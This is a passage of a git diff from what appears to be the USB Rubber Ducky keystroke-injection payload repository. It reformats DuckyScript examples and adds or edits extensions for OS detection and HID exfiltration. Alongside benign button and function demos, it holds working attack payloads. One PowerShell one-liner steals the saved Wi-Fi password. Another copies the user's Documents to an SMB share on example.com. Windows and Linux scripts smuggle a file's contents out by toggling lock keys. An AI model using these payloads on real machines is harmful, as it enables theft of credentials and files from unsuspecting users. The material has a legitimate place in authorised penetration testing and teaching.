"00,00,0b", + "H": "02,00,0b", + "i": "00,00,0c", + "I": "02,00,0c", + "j": "00,00,0d", + "J": "02,00,0d", + "k": "00,00,0e", + "K": "02,00,0e", + "l": "00,00,0f", + "L": "02,00,0f", + "m": "00,00,10", + "M": "02,00,10", + "n": "00,00,11", + "N": "02,00,11", + "o": "00,00,12", + "O": "02,00,12", + "p": "00,00,13", + "P": "02,00,13", + "q": "00,00,14", + "Q": "02,00,14", + "r": "00,00,15", + "R": "02,00,15", + "s": "00,00,16", + "S": "02,00,16", + "t": "00,00,17", + "T": "02,00,17", + "u": "00,00,18", + "U": "02,00,18", + "v": "00,00,19", + "V": "02,00,19", + "w": "00,00,1a", + "W": "02,00,1a", + "x": "00,00,1b", + "X": "02,00,1b", + "y": "00,00,1c", + "Y": "02,00,1c", + "z": "00,00,1d", + "Z": "02,00,1d", + "!": "02,00,1e", + "@": "02,00,1f", + "#": "02,00,20", + "$": "02,00,21", + "%": "02,00,22", + "^": "02,00,23", + "&": "02,00,24", + "*": "02,00,25", + "(": "02,00,26", + ")": "02,00,27", + "ENTER": "00,00,28", + "ESC": "00,00,29", + "ESCAPE": "00,00,29", + "BACKSPACE": "00,00,2a", + "TAB": "00,00,2b", + "SPACE": "00,00,2c", + " ": "00,00,2c", + "-": "00,00,2d", + "_": "02,00,2d", + "=": "00,00,2e", + "+": "02,00,2e", + "[": "00,00,2f", + "{": "02,00,2f", + "]": "00,00,30", + "}": "02,00,30", + "\\": "00,00,31", + "|": "02,00,31", + ";": "00,00,33", + ":": "02,00,33", + "'": "00,00,34", + "\"": "02,00,34", + "`": "00,00,35", + "~": "02,00,35", + ",": "00,00,36", + "<": "02,00,36", + ".": "00,00,37", + ">": "02,00,37", + "/": "00,00,38", + "?": "02,00,38", + "CAPSLOCK": "00,00,39", + "F1": "00,00,3a", + "F2": "00,00,3b", + "F3": "00,00,3c", + "F4": "00,00,3d", + "F5": "00,00,3e", + "F6": "00,00,3f", + "F7": "00,00,40", + "F8": "00,00,41", + "F9": "00,00,42", + "F10": "00,00,43", + "F11": "00,00,44", + "F12": "00,00,45", + "PRINTSCREEN": "00,00,46", + "SCROLLLOCK": "00,00,47", + "PAUSE": "00,00,48", + "BREAK": "00,00,48", + "INSERT": "00,00,49", + "HOME": "00,00,4a", + "PAGEUP": "00,00,4b", + "DELETE": "00,00,4c", + "DEL": "00,00,4c", + "END": "00,00,4d", + "PAGEDOWN": "00,00,4e", + "RIGHTARROW": "00,00,4f", + "RIGHT": "00,00,4f", + "LEFTARROW": "00,00,50", + "LEFT": "00,00,50", + "DOWNARROW": "00,00,51", + "DOWN": "00,00,51", + "UPARROW": "00,00,52", + "UP": "00,00,52", + "NUMLOCK": "00,00,53", + "MENU": "00,00,65", + "APP": "00,00,65" +} diff --git a/payloads/examples/Button/Button-example4.txt b/payloads/examples/Button/Button-example4.txt index db4a4ab..3600d0c 100644 --- a/payloads/examples/Button/Button-example4.txt +++ b/payloads/examples/Button/Button-example4.txt @@ -1 +1,18 @@ -REM BUTTON_DEF defines a function which will execute when the button is pressed anytime within the payload so long as the button control is not already in use by the WAIT_FOR_BUTTON_PRESS command or other such function. REM By default, if no button definition (BUTTON_DEF) is included in the payload, the button will stop all further payload execution and invoke ATTACKMODE STORAGE — entering the USB Rubber Ducky into arming mode. REM Similar to functions (described later), which begin with FUNCTION NAME() and with END_FUNCTION, the button definition begins with BUTTON_DEF and ends with END_BUTTON. BUTTON_DEF STRING The button was pressed! STOP_PAYLOAD END_BUTTON WHILE TRUE STRING . DELAY 1000 END WHILE REM The payload will type a period every second until the button is pressed. REM Once the button is pressed, the payload will type the text “The button was pressed!” REM After the button press text is typed, the payload will terminate. \ No newline at end of file +REM BUTTON_DEF defines a function which will execute when the button is pressed anytime within the payload so long as the button control is not already in use by the WAIT_FOR_BUTTON_PRESS command or other such function. +REM By default, if no button definition (BUTTON_DEF) is included in the payload, the button will stop all further payload execution and invoke ATTACKMODE STORAGE — entering the USB Rubber Ducky into arming mode. +REM Similar to functions (described later), which begin with FUNCTION NAME() and with END_FUNCTION, the button definition begins with BUTTON_DEF and ends with END_BUTTON. + +BUTTON_DEF + STRING The button was pressed! + STOP_PAYLOAD +END_BUTTON + +WHILE TRUE + STRING . + DELAY 1000 +END_WHILE + + +REM The payload will type a period every second until the button is pressed. +REM Once the button is pressed, the payload will type the text “The button was pressed!” +REM After the button press text is typed, the payload will terminate. diff --git a/payloads/examples/Button/Button-example5.txt b/payloads/examples/Button/Button-example5.txt index 48ee208..117be22 100644 --- a/payloads/examples/Button/Button-example5.txt +++ b/payloads/examples/Button/Button-example5.txt @@ -1 +1,16 @@ -BUTTON_DEF WHILE TRUE LED_R DELAY 1000 LED_OFF DELAY 1000 END_WHILE END_BUTTON STRING Press the button at any point to blink the LED red WHILE TRUE STRING . DELAY 1000 END WHILE REM If the button is pressed at any point in the payload it will stop typing “.” and the LED will start blink red until the device is unplugged. \ No newline at end of file +BUTTON_DEF + WHILE TRUE + LED_R + DELAY 1000 + LED_OFF + DELAY 1000 + END_WHILE +END_BUTTON + +STRING Press the button at any point to blink the LED red +WHILE TRUE + STRING . + DELAY 1000 +END_WHILE + +REM If the button is pressed at any point in the payload it will stop typing “.” and the LED will start blink red until the device is unplugged. diff --git a/payloads/examples/Button/Button-example6.txt b/payloads/examples/Button/Button-example6.txt index 505d237..754db31 100644 --- a/payloads/examples/Button/Button-example6.txt +++ b/payloads/examples/Button/Button-example6.txt @@ -1 +1,23 @@ -BUTTON_DEF REM This is the first button definition STRINGLN The button was pressed once! BUTTON_DEF REM This second button definition REM overwrites the first STRINGLN The button was pressed twice! END_BUTTON END_BUTTON STRING Press the button twice to see STRING how nested button definitions work! ENTER WHILE TRUE STRING . DELAY 1000 END WHILE REM If the button is pressed once at any point in the payload it will stop typing “.” and the first button definition will be executed. REM When the first button definition is executed, a secondary button definition will be implemented. REM If the button pressed a second time, the newly implement second button definition will execute. \ No newline at end of file +BUTTON_DEF + REM This is the first button definition + STRINGLN The button was pressed once! + BUTTON_DEF + REM This second button definition + REM overwrites the first + STRINGLN The button was pressed twice! + END_BUTTON +END_BUTTON + +STRING Press the button twice to see +STRING how nested button definitions work! +ENTER + +WHILE TRUE + STRING . + DELAY 1000 +END_WHILE + + +REM If the button is pressed once at any point in the payload it will stop typing “.” and the first button definition will be executed. +REM When the first button definition is executed, a secondary button definition will be implemented. +REM If the button pressed a second time, the newly implement second button definition will execute. diff --git a/payloads/examples/Button/Button-example7.txt b/payloads/examples/Button/Button-example7.txt index dc597fc..4f4e2ad 100644 --- a/payloads/examples/Button/Button-example7.txt +++ b/payloads/examples/Button/Button-example7.txt @@ -1 +1,17 @@ -REN The DISABLE_BUTTON command prevents the button from calling the BUTTON_DEF. BUTTON_DEF STRING This will never execute END_BUTTON DISABLE_BUTTON STRING The button is disabled WHILE TRUE STRING . DELAY 1000 END_WHILE REM The DISABLE_BUTTON command disables the BUTTON_DEF. REM The button definition which types "This will never execute", will never execute — even if the button is pressed. \ No newline at end of file +REM The DISABLE_BUTTON command prevents the button from calling the BUTTON_DEF. + +BUTTON_DEF + STRING This will never execute +END_BUTTON + +DISABLE_BUTTON + +STRING The button is disabled +WHILE TRUE + STRING . + DELAY 1000 +END_WHILE + + +REM The DISABLE_BUTTON command disables the BUTTON_DEF. +REM The button definition which types "This will never execute", will never execute — even if the button is pressed. diff --git a/payloads/examples/Button/Button-example8.txt b/payloads/examples/Button/Button-example8.txt index 98bc9d3..56f2930 100644 --- a/payloads/examples/Button/Button-example8.txt +++ b/payloads/examples/Button/Button-example8.txt @@ -1 +1,5 @@ -ATTACKMODE_OFF LED_OFF DISABLE_BUTTON REM The USB Rubber Ducky will be effectively disabled. \ No newline at end of file +ATTACKMODE OFF +LED_OFF +DISABLE_BUTTON + +REM The USB Rubber Ducky will be effectively disabled. diff --git a/payloads/examples/Example_Payloads/payload_menu.txt b/payloads/examples/Example_Payloads/payload_menu.txt index 6c2b34e..f7030e4 100644 --- a/payloads/examples/Example_Payloads/payload_menu.txt +++ b/payloads/examples/Example_Payloads/payload_menu.txt @@ -3,7 +3,7 @@ REM COMPATABILITY: REM DuckyScript 3.0 REM TARGET: -Any host that will reflect NUMLOCK +REM Any host that will reflect NUMLOCK REM USAGE: REM Replace the Hello Payload 1/2/3 stubs below with payloads of your choice. diff --git a/payloads/examples/Exfiltration/Exfiltration-example1.txt b/payloads/examples/Exfiltration/Exfiltration-example1.txt index 5579252..1e104aa 100644 --- a/payloads/examples/Exfiltration/Exfiltration-example1.txt +++ b/payloads/examples/Exfiltration/Exfiltration-example1.txt @@ -1 +1,13 @@ -REM Example Simple USB Exfiltration Technique for Windows ATTACKMODE HID STORAGE DELAY 2000 GUI r DELAY 100 STRING powershell “$m=(Get-Volume -FileSystemLabel ‘DUCKY’).DriveLetter;netsh wlan show profile name=(Get-NetConnectionProfile).Name key=clear|?{$_-match’SSID n|Key C’}|%{($_ -split’:’)[1]}>>$m’:\’$env:computername’.txt’” ENTER REM This short Powershell one-liner executes from the Windows Run dialog. REM The drive letter of the volume with the label “DUCKY” is saved as $m. REM The netsh command will get the network name and passphrase for the currently connected network ((Get-NetConnectionProfile).Name). REM The results of the netsh command (filtered for only SSID and key) will be redirected (saved) to a file on the root of the “DUCKY” drive, saved as the computer name (in .txt format). \ No newline at end of file +REM Example Simple USB Exfiltration Technique for Windows +ATTACKMODE HID STORAGE +DELAY 2000 +GUI r +DELAY 100 +STRING powershell "$m=(Get-Volume -FileSystemLabel 'DUCKY').DriveLetter;netsh wlan show profile name=(Get-NetConnectionProfile).Name key=clear|?{$_-match'SSID n|Key C'}|%{($_ -split':')[1]}>>$m':\'$env:computername'.txt'" +ENTER + + +REM This short Powershell one-liner executes from the Windows Run dialog. +REM The drive letter of the volume with the label “DUCKY” is saved as $m. +REM The netsh command will get the network name and passphrase for the currently connected network ((Get-NetConnectionProfile).Name). +REM The results of the netsh command (filtered for only SSID and key) will be redirected (saved) to a file on the root of the “DUCKY” drive, saved as the computer name (in .txt format). diff --git a/payloads/examples/Exfiltration/Exfiltration-example2.txt b/payloads/examples/Exfiltration/Exfiltration-example2.txt index a9bd9f6..94a230b 100644 --- a/payloads/examples/Exfiltration/Exfiltration-example2.txt +++ b/payloads/examples/Exfiltration/Exfiltration-example2.txt @@ -1 +1,16 @@ -REM Example Simple SMB Exfiltration Method for Windows ATTACKMODE HID DELAY 2000 DEFINE SMB_SERVER example.com DEFINE SMB_SHARE sharedfolder GUI r DELAY 100 STRING powershell “cp -r $env:USERPROFILE\Documents\* \\ STRING SMB_SERVER STRING \ STRING SMB_SHARE STRING “ ENTER REM This short Powershell one-liner, executed from the Windows Run dialog, will copy all documents (including subfolders) from the currently logged in user account’s documents folder to the defined SMB share. \ No newline at end of file +REM Example Simple SMB Exfiltration Method for Windows +ATTACKMODE HID +DELAY 2000 +DEFINE SMB_SERVER example.com +DEFINE SMB_SHARE sharedfolder +GUI r +DELAY 100 +STRING powershell "cp -r $env:USERPROFILE\Documents\* \\ +STRING SMB_SERVER +STRING \ +STRING SMB_SHARE +STRING " +ENTER + + +REM This short Powershell one-liner, executed from the Windows Run dialog, will copy all documents (including subfolders) from the currently logged in user account’s documents folder to the defined SMB share. diff --git a/payloads/examples/Functions/Functions-example1.txt b/payloads/examples/Functions/Functions-example1.txt index 8faf5b5..ad11b66 100644 --- a/payloads/examples/Functions/Functions-example1.txt +++ b/payloads/examples/Functions/Functions-example1.txt @@ -1,5 +1,21 @@ -REM Example Function FUNCTION COUNTDOWN() WHILE ($TIMER > 0) STRING . $TIMER = ($TIMER - 1) DELAY 500 END_WHILE END_FUNCTION STRING And then it happened VAR $TIMER = 3 COUNTDOWN() SPACE STRING a door opened to a world $TIMER = 5 COUNTDOWN() +REM Example Function +VAR $TIMER = 3 +FUNCTION COUNTDOWN() + WHILE ($TIMER > 0) + STRING . + $TIMER = ($TIMER - 1) + DELAY 500 + END_WHILE +END_FUNCTION + +STRING And then it happened +COUNTDOWN() + +SPACE +STRING a door opened to a world +$TIMER = 5 +COUNTDOWN() REM The FUNCTION command defines a new function named COUNTDOWN() containing a code block with a WHILE loop which types a single period (".") for each value of $TIMER. REM The first time the COUNTDOWN() function is called, the $TIMER variable holds the value 3. The second time it is called, the $TIMER variable holds the value 5. -REM The string "And then it happened... a door opened to a world....." will be typed. \ No newline at end of file +REM The string "And then it happened... a door opened to a world....." will be typed. diff --git a/payloads/examples/Functions/Functions-example2.txt b/payloads/examples/Functions/Functions-example2.txt index ca5b367..4877306 100644 --- a/payloads/examples/Functions/Functions-example2.txt +++ b/payloads/examples/Functions/Functions-example2.txt @@ -1,5 +1,33 @@ -REM Example FUNCTION with RETURN ATTACKMODE HID DELAY 2000 BUTTON_DEF STRING ! END_BUTTON FUNCTION TEST_BUTTON() STRING Press the button within the next 5 seconds. VAR $TIMER = 5 WHILE ($TIMER > 0) STRING . DELAY 1000 $TIMER = ($TIMER - 1) END_WHILE ENTER IF ($_BUTTON_PUSH_RECEIVED == TRUE) THEN RETURN TRUE ELSE IF ($_BUTTON_PUSH_RECEIVED == FALSE) THEN RETURN FALSE END_IF $_BUTTON_PUSH_RECEIVED = FALSE END_FUNCTION IF (TEST_BUTTON() == TRUE) THEN STRINGLN The button was pressed! ELSE STRINGLN The button was not pressed! END_IF +REM Example FUNCTION with RETURN +ATTACKMODE HID +DELAY 2000 + +BUTTON_DEF + STRING ! +END_BUTTON + +FUNCTION TEST_BUTTON() + STRING Press the button within the next 5 seconds. + VAR $TIMER = 5 + WHILE ($TIMER > 0) + STRING . + DELAY 1000 + $TIMER = ($TIMER - 1) + END_WHILE + ENTER + IF ($_BUTTON_PUSH_RECEIVED == TRUE) THEN + RETURN TRUE + ELSE IF ($_BUTTON_PUSH_RECEIVED == FALSE) THEN + RETURN FALSE + END_IF +END_FUNCTION + +IF (TEST_BUTTON() == TRUE) THEN + STRINGLN The button was pressed! +ELSE + STRINGLN The button was not pressed! +END_IF REM When the IF statement on line 26 checks the condition of the function TEST_BUTTON, the function is called and executed. REM Based on whether or not the button is pressed, the RETURN value (lines 19 and 21) will be set to TRUE or FALSE. -REM The IF statement on line 26 evaluates the RETURN of the function TEST_BUTTON and types the result accordingly. \ No newline at end of file +REM The IF statement on line 26 evaluates the RETURN of the function TEST_BUTTON and types the result accordingly. diff --git a/payloads/examples/Randomization/Randomization-example3.txt b/payloads/examples/Randomization/Randomization-example3.txt index 34b0b25..9999065 100644 --- a/payloads/examples/Randomization/Randomization-example3.txt +++ b/payloads/examples/Randomization/Randomization-example3.txt @@ -1 +1,18 @@ -REM Example Random Integer Example with Range ATTACKMODE HID STORAGE LED_OFF $_RANDOM_MIN = 20 $_RANDOM_MAX = 50 VAR $A = $_RANDOM_INT WHILE ($A > 0) LED_G DELAY 500 LED_OFF DELAY 500 END_WHILE REM Each time this payload is executed, the LED will blink a random number of times between 20 and 50. \ No newline at end of file +REM Example Random Integer Example with Range + +ATTACKMODE HID STORAGE +LED_OFF + +$_RANDOM_MIN = 20 +$_RANDOM_MAX = 50 + +VAR $A = $_RANDOM_INT +WHILE ($A > 0) + LED_G + DELAY 500 + LED_OFF + DELAY 500 + $A = ($A - 1) +END_WHILE + +REM Each time this payload is executed, the LED will blink a random number of times between 20 and 50. diff --git a/payloads/extensions/detect_ready.txt b/payloads/extensions/detect_ready.txt new file mode 100644 index 0000000..201405a --- /dev/null +++ b/payloads/extensions/detect_ready.txt @@ -0,0 +1,24 @@ +EXTENSION DETECT_READY + REM VERSION 1.0 + + REM USAGE: + REM Extension runs inline (here) + REM Place at beginning of payload (besides ATTACKMODE) to act as dynamic + REM boot delay + + REM TARGETS: + REM Any system that reflects CAPSLOCK will detect minimum required delay + REM Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms + + REM CONFIGURATION: + DEFINE RESPONSE_DELAY 25 + DEFINE ITERATION_LIMIT 120 + + VAR $C = 0 + WHILE (($_CAPSLOCK_ON == FALSE) && ($C < ITERATION_LIMIT)) + CAPSLOCK + DELAY RESPONSE_DELAY + $C = ($C + 1) + END_WHILE + CAPSLOCK +END_EXTENSION diff --git a/payloads/extensions/exfil_auto_eof_detect.txt b/payloads/extensions/exfil_auto_eof_detect.txt new file mode 100644 index 0000000..2d7c5f5 --- /dev/null +++ b/payloads/extensions/exfil_auto_eof_detect.txt @@ -0,0 +1,36 @@ +EXTENSION EXFIL_AUTO_EOF_DETECT + REM VERSION 1.0 + + REM USAGE: + REM Call WAIT_FOR_EOF() after starting Keystroke Reflection / HID Exfil + + REM TARGETS: + REM Any; intended for use on systems that dont reflect more than 2 lock keys + + FUNCTION WAIT_FOR_EOF() + VAR $CURRENT_CAPSLOCK_STATE = $_CAPSLOCK_ON + VAR $CURRENT_NUMLOCK_STATE = $_NUMLOCK_ON + VAR $PROCESSING = TRUE + VAR $INACTIVITY_COUNT = 0 + DEFINE INACTIVTY_TARGET 10 + WHILE ($PROCESSING) + DELAY 20 + IF($CURRENT_CAPSLOCK_STATE != $_CAPSLOCK_ON) THEN + $CURRENT_CAPSLOCK_STATE = $_CAPSLOCK_ON + $PROCESSING = TRUE + LED_G + ELSE IF($CURRENT_NUMLOCK_STATE != $_NUMLOCK_ON) THEN + $CURRENT_NUMLOCK_STATE = $_NUMLOCK_ON + $PROCESSING = TRUE + LED_R + ELSE + $INACTIVTY_COUNT = ($INACTIVTY_COUNT + 1) + IF ($INACTIVTY_COUNT >= INACTIVTY_TARGET) THEN + $PROCESSING = FALSE + END_IF + LED_OFF + END_IF + END_WHILE + LED_G + END_FUNCTION +END_EXTENSION diff --git a/payloads/extensions/hello_os.txt b/payloads/extensions/hello_os.txt index 243379a..8650c7f 100644 --- a/payloads/extensions/hello_os.txt +++ b/payloads/extensions/hello_os.txt @@ -1,24 +1,35 @@ EXTENSION HELLO_OS - VERSION 1.0 + REM VERSION 1.0 - REM For use with OS_DETECT Extension + REM USAGE: + REM For use with OS_DETECT Extension, call HELLO_OS() after DETECT_OS() REM prints the OS determination + REM Additional Example: Defining custom $_OS enums + DEFINE SOME_OTHER_OS 6 + DEFINE ANOTHER_OS 7 + FUNCTION HELLO_OS() - IF ($_OS == WINDOWS) THEN - STRING Hello Windows! - ELSE IF ($_OS == MACOS) THEN - STRING Hello Mac! - ELSE IF ($_OS == LINUX) THEN - STRING Hello Linux! - ELSE IF ($_OS == IOS) THEN - STRING Hello iOS! - ELSE IF ($_OS == CHROMEOS) THEN - STRING Hello ChromeOS! - ELSE IF ($_OS == ANDROID) THEN - STRING Hello Android! - ELSE - STRING Hello World! - END_IF + IF ($_OS == WINDOWS) THEN + STRING Hello Windows! + ELSE IF ($_OS == MACOS) THEN + STRING Hello Mac! + ELSE IF ($_OS == LINUX) THEN + STRING Hello Linux! + ELSE IF ($_OS == IOS) THEN + STRING Hello iOS! + ELSE IF ($_OS == CHROMEOS) THEN + STRING Hello ChromeOS! + ELSE IF ($_OS == ANDROID) THEN + STRING Hello Android! + ELSE IF($_OS == SOME_OTHER_OS) THEN + REM Example Only + STRING HELLO Custom OS Type! + ELSE IF($_OS == ANOTHER_OS) THEN + REM Example Only + STRING HELLO Another Custom OS Type! + ELSE + STRING Hello World! + END_IF END_FUNCTION END_EXTENSION diff --git a/payloads/extensions/hid_exfil.txt b/payloads/extensions/hid_exfil.txt deleted file mode 100644 index f28b5f1..0000000 --- a/payloads/extensions/hid_exfil.txt +++ /dev/null @@ -1,66 +0,0 @@ -EXTENSION HID_EXFIL - VERSION 1.0 - - REM Helpers for Keystroke Reflection data exfiltration - REM This payload is a proof of concept for USB HID only Data Exfiltration - - REM TARGET: - REM Windows Hostthat supports powershell and SendKeys - - REM USAGE: - REM Uncomment the function call below to run this extension inline - REM or call RUN_EXFIL() anywhere in your payload after the extension - - REM DEPLOYMENT: - REM Plug Ducky into host, wait for the LED to turn (and stay) solid Green. - - REM BEGIN EXTENSION OPTIONS - - REM File on host machine to exfil using Keystroke Reflection attack - DEFINE TARGET_FILE C:\id.txt - - REM if STORAGE_ON_SUCCESS TRUE - the device will automatically switch to ATTACKMODE STORAGE after - REM EXFIL has completed; this is useful in testing - DEFINE STORAGE_ON_SUCCESS FALSE - - REM END EXTENSION OPTIONS - - FUNCTION RUN_EXFIL() - REM Boot - LED_OFF - DELAY 500 - REM Launch Windows RUN dialog - GUI R - DELAY 50 - REM Launch powershell - STRING powershell - ENTER - DELAY 250 - REM Save HOST's current lock state - SAVE_HOST_KEYBOARD_LOCK_STATE - REM Start Listening - Enable EXFIL mode, Enable EXFIL mode for Device LEDS - $_EXFIL_MODE_ENABLED = TRUE - $_EXFIL_LEDS_ENABLED = TRUE - REM Convert and reflect target file - STRING foreach($b in $(Get-Content "TARGET_FILE" -Encoding byte)){foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){If($b -band $a){$o+="%{NUMLOCK}"}Else{$o+="%{CAPSLOCK}"}}};$o+="%{SCROLLLOCK}";Add-Type -Assembly System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait("$o");exit; - ENTER - REM Listen for "EOF" - WAIT_FOR_SCROLL_CHANGE - REM Indicate SUCCESS on Device LED, Disable EXFIL mode - LED_G - $_EXFIL_MODE_ENABLED = FALSE - REM Restore HOST's lock state to original - RESTORE_HOST_KEYBOARD_LOCK_STATE - REM If configured, automatically change to ATTACKMODE STORAGE (useful in testing) - IF STORAGE_ON_SUCCESS { - ATTACKMODE STORAGE - } - END_FUNCTION - - REM Uncomment the function call below to run this extension inline (here) - REM or call RUN_EXFIL() anywhere in your payload after the extension - - REM RUN_EXFIL() - -END_EXTENSION - diff --git a/payloads/extensions/linux_hid_exfil.txt b/payloads/extensions/linux_hid_exfil.txt new file mode 100644 index 0000000..fe3a42b --- /dev/null +++ b/payloads/extensions/linux_hid_exfil.txt @@ -0,0 +1,44 @@ +EXTENSION LINUX_HID_EXFIL + REM VERSION 1.0 + + REM REQUIRES EXFIL_AUTO_EOF_DETECT EXTENSION + + REM Helpers for Linux Keystroke Reflection data exfiltration + REM This payload is a proof of concept for USB HID only Data Exfiltration + + REM TARGET: + REM Linux Host that supports opening terminal via CTRL ALT t, and xdotool + + REM USAGE: + REM Uncomment the function call below to run this extension inline + REM or call RUN_LINUX_EXFIL() anywhere in your payload after the extension + + REM DEPLOYMENT: + REM Plug Ducky into host, wait for the LED to turn (and stay) solid Green. + + REM CONFIGURATION: + REM File on host machine to exfil using Keystroke Reflection attack + DEFINE TARGET_FILE t.txt + DEFINE TERMINAL_OPEN_DELAY 500 + DEFINE READY_TO_TYPE_DELAY 250 + FUNCTION RUN_LINUX_EXFIL() + LED_OFF + DELAY READY_TO_TYPE_DELAY + CTRL ALT t + DELAY TERMINAL_OPEN_DELAY + SAVE_HOST_KEYBOARD_LOCK_STATE + $_EXFIL_MODE_ENABLED = TRUE + $_EXFIL_LEDS_ENABLED = TRUE + STRINGLN uname -a > TARGET_FILE + STRINGLN c="xdotool key --delay 4";o=" Caps_Lock";l=" Num_Lock";bs=$(xxd -b TARGET_FILE |cut -d " " -f2-7);for (( i=0;i<${#bs};i++ ));do b="${bs:$i:1}";if [[ "$b" == "0" ]];then c+=$o;fi;if [[ "$b" == "1" ]];then c+=$l;fi;done;eval "$c";exit + WAIT_FOR_EOF() + $_EXFIL_LEDS_ENABLED = FALSE + $_EXFIL_MODE_ENABLED = FALSE + RESTORE_HOST_KEYBOARD_LOCK_STATE + END_FUNCTION + + REM Uncomment the function call below to run this extension inline (here) + REM or call RUN_WINDOWS_EXFIL() anywhere in your payload after the extension + + REM RUN_LINUX_EXFIL() +END_EXTENSION diff --git a/payloads/extensions/os_detect.txt b/payloads/extensions/os_detect.txt index 0a038ea..77c9275 100644 --- a/payloads/extensions/os_detect.txt +++ b/payloads/extensions/os_detect.txt @@ -1,10 +1,10 @@ EXTENSION OS_DETECTION - VERSION 1.0 + REM VERSION 1.0 REM USB Rubber Ducky Host OS Detection - REM "Generic" OS detection at a high view is a "moving target" + REM Generic OS detection at a high view is a moving target REM results may vary greatly depending - REM on a combination of many "variables": + REM on a combination of many variables: REM - number of testing stages REM - specific devices and versions tested against REM - number of systems testing for (scope) @@ -13,8 +13,8 @@ EXTENSION OS_DETECTION REM - overall accuracy REM TARGET: - DEFAULT - Windows, Mac, Linux - ADVANCED_DETECTION - Windows, Mac, Linux, iOS, ChromeOS, Android + REM DEFAULT - Windows, Mac, Linux + REM ADVANCED_DETECTION - Windows, Mac, Linux, iOS, ChromeOS, Android REM USAGE: REM Uncomment the function call below to run this extension inline (here) @@ -22,185 +22,181 @@ EXTENSION OS_DETECTION REM Place this extension and the DETECT_OS() before REM you would like to first reference $_OS to execute payload code conditionally - REM DEPLOYMENT: - REM Plug Ducky into host + REM CONFIGURATION: + DEFINE VERBOSE FALSE + DEFINE ADVANCED_DETECTION FALSE + DEFINE STARTUP_DELAY 1500 + DEFINE RESTART_WAIT 1000 + DEFINE CONNECT_WAIT 1000 + DEFINE OS_DETECT_MODE HID + DEFINE OS_DETECT_VID VID_05AC + DEFINE OS_DETECT_PID PID_021E + DEFINE WINDOWS_HOST_REQUEST_COUNT 2 + DEFINE HOST_RESPONSE_TIMEOUT 1000 FUNCTION DETECT_OS() - REM BEGIN EXTENSION OPTIONS - DEFINE VERBOSE FALSE - DEFINE ADVANCED_DETECTION FALSE - DEFINE STARTUP_DELAY 1500 - DEFINE RESTART_WAIT 1000 - DEFINE OS_DETECT_MODE HID - DEFINE OS_DETECT_VID VID_05AC - DEFINE OS_DETECT_PID PID_021E - DEFINE WINDOWS_HOST_REQUEST_COUNT 2 - DEFINE HOST_RESPONSE_TIMEOUT 1000 - REM END EXTENSION OPTIONS - - $_HOST_CONFIGURATION_REQUEST_COUNT = 0 - ATTACKMODE OS_DETECT_MODE OS_DETECT_VID OS_DETECT_PID - DELAY STARTUP_DELAY - SAVE_HOST_KEYBOARD_LOCK_STATE - - IF VERBOSE THEN - IF ADVANCED_DETECTION THEN - STRING ADVANCED OS DETECT - ELSE - STRING OS DETECT - END_IF - - ENTER - STRING test caps - END_IF - - IF ($_CAPSLOCK_ON == FALSE) THEN - LED_R - CAPSLOCK - DELAY HOST_RESPONSE_TIMEOUT - END_IF - LED_OFF - - IF VERBOSE THEN - ENTER - STRING test done - END_IF - - IF $_RECEIVED_HOST_LOCK_LED_REPLY THEN - IF VERBOSE THEN - ENTER - STRING received led response - END_IF - LED_G - IF ($_HOST_CONFIGURATION_REQUEST_COUNT > WINDOWS_HOST_REQUEST_COUNT) THEN - IF VERBOSE THEN - ENTER - STRING prediction: Windows - END_IF - $_OS = WINDOWS - ELSE - IF VERBOSE THEN - ENTER - STRING prediction: Linux - END_IF - $_OS = LINUX - END_IF - ELSE - IF VERBOSE THEN - ENTER - STRING no led response - ENTER - STRING prediciton: MacOS - END_IF - $_OS = MACOS - END_IF - - IF ADVANCED_DETECTION THEN - IF ( $_OS == LINUX ) THEN - IF VERBOSE THEN - ENTER - STRING soft reconnect - END_IF - ATTACKMODE OFF - DELAY RESTART_WAIT - ATTACKMODE OS_DETECT_MODE OS_DETECT_VID OS_DETECT_PID - DELAY CONNECT_WAIT - IF VERBOSE THEN - ENTER - STRING reconnected - END_IF - IF ($_CAPSLOCK_ON == TRUE) THEN - IF VERBOSE THEN - ENTER - STRING caps led on - ENTER - STRING test numlock - END_IF - NUMLOCK - DELAY HOST_RESPONSE_TIMEOUT - IF VERBOSE THEN - ENTER - STRING test done - END_IF - IF ($_NUMLOCK_ON == FALSE) THEN - IF VERBOSE THEN - ENTER - STRING no numlock led - ENTER - STRING prediciton: ChromeOS - END_IF - $_OS = CHROMEOS - ELSE - IF VERBOSE THEN - ENTER - STRING numlock led on - ENTER - STRING testing scrolllock - END_IF - SCROLLLOCK - DELAY HOST_RESPONSE_TIMEOUT - IF VERBOSE THEN - ENTER - STRING test done - END_IF - IF ($_SCROLLLOCK_ON == TRUE) THEN - IF VERBOSE THEN - ENTER - STRING scrolllock led on - ENTER - STRING prediciton: Android - END_IF - $_OS = ANDROID - ELSE - IF VERBOSE THEN - ENTER - STRING no scrolllock reply - ENTER - STRING prediction: Linux - END_IF - $_OS = LINUX - END_IF - END_IF - END_IF - ELSE IF ($_OS == MACOS) THEN - IF ($_CAPSLOCK_ON == TRUE) THEN - IF VERBOSE THEN - ENTER - STRING caps led on - ENTER - STRING prediction: iOS - END_IF - $_OS = IOS - ELSE - IF VERBOSE THEN - ENTER - STRING no caps reply - ENTER - STRING prediction: MacOS - END_IF - $_OS = MACOS - END_IF - ELSE IF ($_OS == WINDOWS) THEN - IF VERBOSE THEN - ENTER - STRING Confident Windows Prediction - END_IF - $_OS = WINDOWS - END_IF - END_IF - - RESTORE_HOST_KEYBOARD_LOCK_STATE - - IF VERBOSE THEN - ENTER - STRING OS_DETECT complete - ENTER - END_IF + $_HOST_CONFIGURATION_REQUEST_COUNT = 0 + ATTACKMODE OS_DETECT_MODE OS_DETECT_VID OS_DETECT_PID + DELAY STARTUP_DELAY + SAVE_HOST_KEYBOARD_LOCK_STATE + + IF VERBOSE THEN + IF ADVANCED_DETECTION THEN + STRING ADVANCED OS DETECT + ELSE + STRING OS DETECT + END_IF + + ENTER + STRING test caps + END_IF + + IF ($_CAPSLOCK_ON == FALSE) THEN + LED_R + CAPSLOCK + DELAY HOST_RESPONSE_TIMEOUT + END_IF + LED_OFF + + IF VERBOSE THEN + ENTER + STRING test done + END_IF + + IF $_RECEIVED_HOST_LOCK_LED_REPLY THEN + IF VERBOSE THEN + ENTER + STRING received led response + END_IF + LED_G + IF ($_HOST_CONFIGURATION_REQUEST_COUNT > WINDOWS_HOST_REQUEST_COUNT) THEN + IF VERBOSE THEN + ENTER + STRING prediction: Windows + END_IF + 